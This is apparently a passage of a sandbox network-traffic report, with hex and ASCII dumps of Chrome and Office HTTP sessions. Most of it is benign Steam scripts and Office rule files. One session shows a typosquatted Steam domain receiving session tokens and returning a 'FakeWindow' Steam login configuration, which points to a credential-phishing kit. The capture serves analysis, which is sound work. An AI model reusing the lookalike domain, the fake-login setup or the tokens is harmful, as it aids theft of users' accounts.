2024-10-07 06:47:06 UTC	3777	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 f4 00 00 00 d4 08 06 00 00 00 ab 83 0e c8 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 0e 63 49 44 41 54 78 da ec dd 5f 4c 54 67 1a c7 f1 77 fe 69 d0 91 ba 10 0b 8a 8b ae cb 56 6d 6b 82 36 58 bb eb 9f 86 a6 b5 69 bb b2 46 db 8b 8a 7b e9 ae ed c5 5e b6 d9 5e 34 4d 7a d1 9b 9a 36 6d 6c 9a b4 6e 62 20 5d 12 b1 80 d6 88 65 bb 61 13 c5 ed da 76 a7 fe 29 ac a0 05 61 05 45 06 29 03 23 03 c3 3e ef 30 d0 33 67 06 4b 77 77 38 2f 93 ef 27 79 02 67 86 8b c9 f0 fc ce fb 9e 73 66 de e3 1a 1f 1f 57 00 32 83 9b b7 00 20 d0 00 08 34 00 02 0d 80 40 03 04 1a 00 81 06 40 a0 01 10 68 00 04 1a 20 d0 00 08 34 00 02 0d 80 40 03 20 d0 00 81 06 40 a0 01 Data Ascii: PNGIHDRtEXtSoftwareAdobe ImageReadyqe<cIDATx_LTgwiVmk6XiF{^^4Mz6mlnb ]eav)aE)#>03gKww8/'ygsfW2 4@@h 4@ @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	49836	2.16.168.5	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:06 UTC	450	OUT	GET /public/javascript/scriptaculous/_combined.js?v=Me1IBxzktiwk&l=english&load=effects,controls,slider HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:06 UTC	383	IN	HTTP/1.1 200 OK Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT ETag: "Me1IBxzktiwk" Server: nginx Content-Type: text/javascript;charset=UTF-8 Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=9432496 Expires: Fri, 24 Jan 2025 10:55:22 GMT Date: Mon, 07 Oct 2024 06:47:06 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-07 06:47:06 UTC	16001	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 2f 2f 20 73 63 72 69 70 74 2e 61 63 75 6c 6f 2e 75 73 20 73 63 72 69 70 74 61 63 75 6c 6f 75 73 2e 6a 73 20 76 31 2e 38 2e 31 2c 20 54 68 75 20 4a 61 6e 20 30 33 20 32 32 3a 30 37 3a 31 32 20 2d 30 35 30 30 20 32 30 30 38 0d 0a 0d 0a 2f 2f 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 30 35 2d 32 30 30 37 20 54 68 6f 6d 61 73 20 46 75 63 68 73 20 28 68 74 74 70 3a 2f 2f 73 63 72 69 70 74 2e 61 63 75 6c 6f 2e 75 73 2c 20 68 74 74 70 3a 2f 2f 6d 69 72 2e 61 63 75 6c 6f 2e 75 73 29 0d 0a 2f 2f 20 0d 0a 2f 2f 20 50 65 72 6d 69 73 73 69 6f 6e 20 69 73 20 68 65 72 65 62 79 20 67 72 61 6e 74 65 64 2c 20 66 72 65 65 20 6f 66 20 63 68 61 72 67 65 2c 20 74 6f 20 61 6e 79 20 70 65 72 73 6f 6e 20 6f 62 74 61 69 6e 69 6e 67 0d 0a 2f Data Ascii: 0000C000// script.aculo.us scriptaculous.js v1.8.1, Thu Jan 03 22:07:12 -0500 2008// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)// // Permission is hereby granted, free of charge, to any person obtaining/
2024-10-07 06:47:06 UTC	15801	IN	Data Raw: 61 63 6b 77 61 72 64 73 20 63 6f 6d 70 61 74 69 62 69 6c 69 74 79 0d 0a 45 66 66 65 63 74 2e 4d 6f 76 65 42 79 20 3d 20 66 75 6e 63 74 69 6f 6e 28 65 6c 65 6d 65 6e 74 2c 20 74 6f 54 6f 70 2c 20 74 6f 4c 65 66 74 29 20 7b 0d 0a 20 20 72 65 74 75 72 6e 20 6e 65 77 20 45 66 66 65 63 74 2e 4d 6f 76 65 28 65 6c 65 6d 65 6e 74 2c 20 0d 0a 20 20 20 20 4f 62 6a 65 63 74 2e 65 78 74 65 6e 64 28 7b 20 78 3a 20 74 6f 4c 65 66 74 2c 20 79 3a 20 74 6f 54 6f 70 20 7d 2c 20 61 72 67 75 6d 65 6e 74 73 5b 33 5d 20 7c 7c 20 7b 20 7d 29 29 3b 0d 0a 7d 3b 0d 0a 0d 0a 45 66 66 65 63 74 2e 53 63 61 6c 65 20 3d 20 43 6c 61 73 73 2e 63 72 65 61 74 65 28 45 66 66 65 63 74 2e 42 61 73 65 2c 20 7b 0d 0a 20 20 69 6e 69 74 69 61 6c 69 7a 65 3a 20 66 75 6e 63 74 69 6f 6e 28 65 6c 65 Data Ascii: ackwards compatibilityEffect.MoveBy = function(element, toTop, toLeft) { return new Effect.Move(element, Object.extend({ x: toLeft, y: toTop }, arguments[3] \|\| { }));};Effect.Scale = Class.create(Effect.Base, { initialize: function(ele
2024-10-07 06:47:06 UTC	16384	IN	Data Raw: 6c 65 6d 65 6e 74 2e 73 65 74 53 74 79 6c 65 28 7b 68 65 69 67 68 74 3a 20 27 30 70 78 27 7d 29 2e 73 68 6f 77 28 29 3b 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 61 66 74 65 72 46 69 6e 69 73 68 49 6e 74 65 72 6e 61 6c 3a 20 66 75 6e 63 74 69 6f 6e 28 65 66 66 65 63 74 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 66 66 65 63 74 2e 65 66 66 65 63 74 73 5b 30 5d 2e 65 6c 65 6d 65 6e 74 2e 75 6e 64 6f 43 6c 69 70 70 69 6e 67 28 29 2e 75 6e 64 6f 50 6f 73 69 74 69 6f 6e 65 64 28 29 2e 73 65 74 53 74 79 6c 65 28 6f 6c 64 53 74 79 6c 65 29 3b 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 7d 2c 20 6f 70 74 69 6f 6e 73 29 0d 0a 20 20 20 20 20 20 Data Ascii: lement.setStyle({height: '0px'}).show(); }, afterFinishInternal: function(effect) { effect.effects[0].element.undoClipping().undoPositioned().setStyle(oldStyle); } }, options)
2024-10-07 06:47:06 UTC	978	IN	Data Raw: 0d 0a 20 20 6f 6e 4b 65 79 50 72 65 73 73 3a 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0d 0a 20 20 20 20 69 66 28 74 68 69 73 2e 61 63 74 69 76 65 29 0d 0a 20 20 20 20 20 20 73 77 69 74 63 68 28 65 76 65 6e 74 2e 6b 65 79 43 6f 64 65 29 20 7b 0d 0a 20 20 20 20 20 20 20 63 61 73 65 20 45 76 65 6e 74 2e 4b 45 59 5f 54 41 42 3a 0d 0a 20 20 20 20 20 20 20 63 61 73 65 20 45 76 65 6e 74 2e 4b 45 59 5f 52 45 54 55 52 4e 3a 0d 0a 20 20 20 20 20 20 20 20 20 74 68 69 73 2e 73 65 6c 65 63 74 45 6e 74 72 79 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 45 76 65 6e 74 2e 73 74 6f 70 28 65 76 65 6e 74 29 3b 0d 0a 20 20 20 20 20 20 20 63 61 73 65 20 45 76 65 6e 74 2e 4b 45 59 5f 45 53 43 3a 0d 0a 20 20 20 20 20 20 20 20 20 74 68 69 73 2e 68 69 64 65 28 29 3b 0d Data Ascii: onKeyPress: function(event) { if(this.active) switch(event.keyCode) { case Event.KEY_TAB: case Event.KEY_RETURN: this.selectEntry(); Event.stop(event); case Event.KEY_ESC: this.hide();
2024-10-07 06:47:06 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 20 20 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 74 68 69 73 2e 6f 6e 4f 62 73 65 72 76 65 72 45 76 65 6e 74 2e 62 69 6e 64 28 74 68 69 73 29 2c 20 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 66 72 65 71 75 65 6e 63 79 2a 31 30 30 30 29 3b 0d 0a 20 20 7d 2c 0d 0a 0d 0a 20 20 61 63 74 69 76 61 74 65 3a 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 74 68 69 73 2e 63 68 61 6e 67 65 64 20 3d 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 74 68 69 73 2e 68 61 73 46 6f 63 75 73 20 3d 20 74 72 75 65 3b 0d 0a 20 20 20 20 74 68 69 73 2e 67 65 74 55 70 64 61 74 65 64 43 68 6f 69 63 65 73 28 29 3b 0d 0a 20 20 7d 2c 0d 0a 0d 0a 20 20 6f 6e 48 6f 76 65 72 3a 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0d 0a 20 20 20 20 76 61 72 Data Ascii: 00004000 setTimeout(this.onObserverEvent.bind(this), this.options.frequency*1000); }, activate: function() { this.changed = false; this.hasFocus = true; this.getUpdatedChoices(); }, onHover: function(event) { var
2024-10-07 06:47:06 UTC	12	IN	Data Raw: 63 74 69 6f 6e 28 29 20 7b 0d 0d 0a Data Ascii: ction() {
2024-10-07 06:47:06 UTC	919	IN	Data Raw: 30 30 30 30 30 33 38 42 0d 0a 0a 20 20 20 20 72 65 74 75 72 6e 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 69 6e 6e 65 72 48 54 4d 4c 3b 0d 0a 20 20 7d 2c 0d 0a 20 20 68 61 6e 64 6c 65 41 4a 41 58 46 61 69 6c 75 72 65 3a 20 66 75 6e 63 74 69 6f 6e 28 74 72 61 6e 73 70 6f 72 74 29 20 7b 0d 0a 20 20 20 20 74 68 69 73 2e 74 72 69 67 67 65 72 43 61 6c 6c 62 61 63 6b 28 27 6f 6e 46 61 69 6c 75 72 65 27 2c 20 74 72 61 6e 73 70 6f 72 74 29 3b 0d 0a 20 20 20 20 69 66 20 28 74 68 69 73 2e 5f 6f 6c 64 49 6e 6e 65 72 48 54 4d 4c 29 20 7b 0d 0a 20 20 20 20 20 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 74 68 69 73 2e 5f 6f 6c 64 49 6e 6e 65 72 48 54 4d 4c 3b 0d 0a 20 20 20 20 20 20 74 68 69 73 2e 5f 6f 6c 64 49 6e 6e 65 72 48 54 4d 4c Data Ascii: 0000038B return this.element.innerHTML; }, handleAJAXFailure: function(transport) { this.triggerCallback('onFailure', transport); if (this._oldInnerHTML) { this.element.innerHTML = this._oldInnerHTML; this._oldInnerHTML
2024-10-07 06:47:06 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 2c 0d 0a 20 20 20 20 20 20 20 20 6f 6e 46 61 69 6c 75 72 65 3a 20 74 68 69 73 2e 5f 62 6f 75 6e 64 46 61 69 6c 75 72 65 48 61 6e 64 6c 65 72 0d 0a 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 6e 65 77 20 41 6a 61 78 2e 55 70 64 61 74 65 72 28 7b 20 73 75 63 63 65 73 73 3a 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 20 7d 2c 20 74 68 69 73 2e 75 72 6c 2c 20 6f 70 74 69 6f 6e 73 29 3b 0d 0a 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 76 61 72 20 6f 70 74 69 6f 6e 73 20 3d 20 4f 62 6a 65 63 74 2e 65 78 74 65 6e 64 28 7b 20 6d 65 74 68 6f 64 3a 20 27 67 65 74 27 20 7d 2c 20 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 61 6a 61 78 4f 70 74 69 6f 6e 73 29 3b 0d 0a 20 20 20 20 20 20 4f 62 6a 65 63 74 2e 65 78 74 65 6e 64 Data Ascii: 00004000, onFailure: this._boundFailureHandler }); new Ajax.Updater({ success: this.element }, this.url, options); } else { var options = Object.extend({ method: 'get' }, this.options.ajaxOptions); Object.extend
2024-10-07 06:47:06 UTC	12	IN	Data Raw: 65 64 56 61 6c 75 65 73 29 7b 0d 0a Data Ascii: edValues){
2024-10-07 06:47:06 UTC	6622	IN	Data Raw: 30 30 30 30 31 39 44 32 0d 0a 0d 0a 20 20 20 20 20 20 69 66 20 28 76 61 6c 75 65 20 3e 3d 20 74 68 69 73 2e 61 6c 6c 6f 77 65 64 56 61 6c 75 65 73 2e 6d 61 78 28 29 29 20 72 65 74 75 72 6e 28 74 68 69 73 2e 61 6c 6c 6f 77 65 64 56 61 6c 75 65 73 2e 6d 61 78 28 29 29 3b 0d 0a 20 20 20 20 20 20 69 66 20 28 76 61 6c 75 65 20 3c 3d 20 74 68 69 73 2e 61 6c 6c 6f 77 65 64 56 61 6c 75 65 73 2e 6d 69 6e 28 29 29 20 72 65 74 75 72 6e 28 74 68 69 73 2e 61 6c 6c 6f 77 65 64 56 61 6c 75 65 73 2e 6d 69 6e 28 29 29 3b 0d 0a 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 76 61 72 20 6f 66 66 73 65 74 20 3d 20 4d 61 74 68 2e 61 62 73 28 74 68 69 73 2e 61 6c 6c 6f 77 65 64 56 61 6c 75 65 73 5b 30 5d 20 2d 20 76 61 6c 75 65 29 3b 0d 0a 20 20 20 20 20 20 76 61 72 20 6e 65 77 56 Data Ascii: 000019D2 if (value >= this.allowedValues.max()) return(this.allowedValues.max()); if (value <= this.allowedValues.min()) return(this.allowedValues.min()); var offset = Math.abs(this.allowedValues[0] - value); var newV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	49843	104.21.91.169	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:06 UTC	1186	OUT	GET /721d7f512e080156561232514300765c0c055e05 HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.MOlHHgI6p8xxSnoV1cI2Z9L1a-GFOrfU.C-V_ugttOowzCm9y.SFg0RklYU8UoqIKEDpm9zydFbeB3Z-O2Z92huwcwRlDAkGEIdAqaPyPe-1k5wfq1oaAYkj9tNAT25YbYvo_5daiVZIs_f3X5SSqXIkh-FJS2GMr7q_GeT1BXc6k7wVlKNW9aLA7xBD1vblF07Yn_gHqiHSDsjOJrI1NuDbAzjh8VhgeCTLt3qcI8BkvqV9DMzySiKx77hWHK4WxzYn-Y_7TMJdOCCmnCeQX3XieZUPidY2AcFkPid3CBdqo.ebEFj8Ye00GZPYTIzE3-Ow; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6IjZkMTBjOWIxM2ZhODdlNTNiYzdiMWJkZmY3YjIyMzA0Iiwic2VydmljZSI6IlN0ZWFtIn0.qKJ-QMVd1Mpks51lieRtA8L1pcwabxsxLWWN5yq_i5I; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.FqIuhJWonROZ6dAoZUtqwmnhRFjGL9Hu.J_ticQ68Ss1dwbiT.04b5rDuCc1FH4fbOPV1lYSN1FTziFQE8cNodrfcmuOu7kVho7BWmOv_P3IKhqLoJLgjzkX7gOmOSsbUtaG46XrO1.qhVJHHtnsMhHTce6gpngrg; timezoneOffset=-14400,0
2024-10-07 06:47:06 UTC	1020	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:06 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Etag: W/"120-A0Jhe4pcpWU5IH0bACgyB1kHiGU" Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F%2Bqw%2FvlAhCRvycbQthUcpULtdqD4cE742G1%2F%2FE62qImpr6zFQ%2BqdEYAQ%2B5TRXNwuX5xJ2Gfd6x8g4xoX4xG7ftu8QNOqHF%2ByVahlETBM2RoMZhG1LlONLVkEEicvbzKRYGBZUwxQEA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cebf0198a9fc470-EWR
2024-10-07 06:47:06 UTC	295	IN	Data Raw: 31 32 30 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 74 72 75 65 2c 22 73 65 72 76 69 63 65 22 3a 22 53 74 65 61 6d 22 2c 22 69 66 72 61 6d 65 22 3a 74 72 75 65 2c 22 74 69 6d 65 73 74 61 6d 70 22 3a 31 37 32 38 32 38 33 36 32 36 36 32 36 2e 31 38 32 39 2c 22 77 69 6e 64 6f 77 22 3a 7b 22 74 79 70 65 22 3a 22 46 61 6b 65 57 69 6e 64 6f 77 22 2c 22 74 69 74 6c 65 22 3a 22 53 74 65 61 6d 22 2c 22 75 72 6c 22 3a 22 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 22 2c 22 70 61 74 68 22 3a 22 2f 6c 6f 67 69 6e 2f 68 6f 6d 65 2f 3f 67 6f 74 6f 3d 22 2c 22 69 63 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 7d 2c 22 6c 6f 67 69 6e 22 3a 7b 7d 2c 22 62 72 6f 77 73 65 72 22 3a Data Ascii: 120{"success":true,"service":"Steam","iframe":true,"timestamp":1728283626626.1829,"window":{"type":"FakeWindow","title":"Steam","url":"steamcommunity.com","path":"/login/home/?goto=","icon":"https://steamcommunity.com/favicon.ico"},"login":{},"browser":
2024-10-07 06:47:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:06 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:06 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 8d3bec0a-601e-0070-32fe-16a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064706Z-1657d5bbd4824mj9d6vp65b6n400000003cg000000002gmw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:06 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:06 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:06 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: e72b6989-501e-005b-2b00-17d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064706Z-1657d5bbd48vhs7r2p1ky7cs5w00000003a000000000gr93 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:06 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:06 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:06 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8d044b15-901e-00ac-3902-17b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064706Z-1657d5bbd48sdh4cyzadbb374800000002x000000000b5my x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:06 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	49840	2.16.168.5	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:06 UTC	412	OUT	GET /public/shared/javascript/dselect.js?v=sjouo3-33Gox&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:06 UTC	350	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "sjouo3-33Gox" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, max-age=8511037 Expires: Mon, 13 Jan 2025 18:57:43 GMT Date: Mon, 07 Oct 2024 06:47:06 GMT Content-Length: 9318 Connection: close
2024-10-07 06:47:06 UTC	9318	IN	Data Raw: 0d 0a 76 61 72 20 67 5f 41 63 74 69 76 65 44 72 6f 70 4c 69 73 74 73 20 3d 20 7b 7d 3b 0d 0a 76 61 72 20 67 5f 4c 61 73 74 53 65 6c 65 63 74 48 69 64 65 54 69 6d 65 20 3d 20 30 3b 0d 0a 76 61 72 20 67 5f 66 6e 47 50 4f 6e 43 6c 6f 73 69 6e 67 4d 6f 64 61 6c 57 69 6e 64 6f 77 20 3d 20 6e 75 6c 6c 3b 0d 0a 0d 0a 24 4a 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 24 4a 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 6e 28 20 27 6b 65 79 64 6f 77 6e 27 2c 20 48 61 6e 64 6c 65 4b 65 79 44 6f 77 6e 20 29 3b 0d 0a 7d 29 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 48 61 6e 64 6c 65 4d 6f 75 73 65 43 6c 69 63 6b 28 20 65 2c 20 6b 65 79 20 29 0d 0a 7b 0d 0a 09 09 09 69 66 20 28 20 21 67 5f 41 63 74 69 76 65 44 72 6f 70 4c 69 73 74 73 5b 6b 65 79 5d 20 29 0d 0a 09 09 72 65 74 Data Ascii: var g_ActiveDropLists = {};var g_LastSelectHideTime = 0;var g_fnGPOnClosingModalWindow = null;$J(function() {$J(document).on( 'keydown', HandleKeyDown );});function HandleMouseClick( e, key ){if ( !g_ActiveDropLists[key] )ret

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:06 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
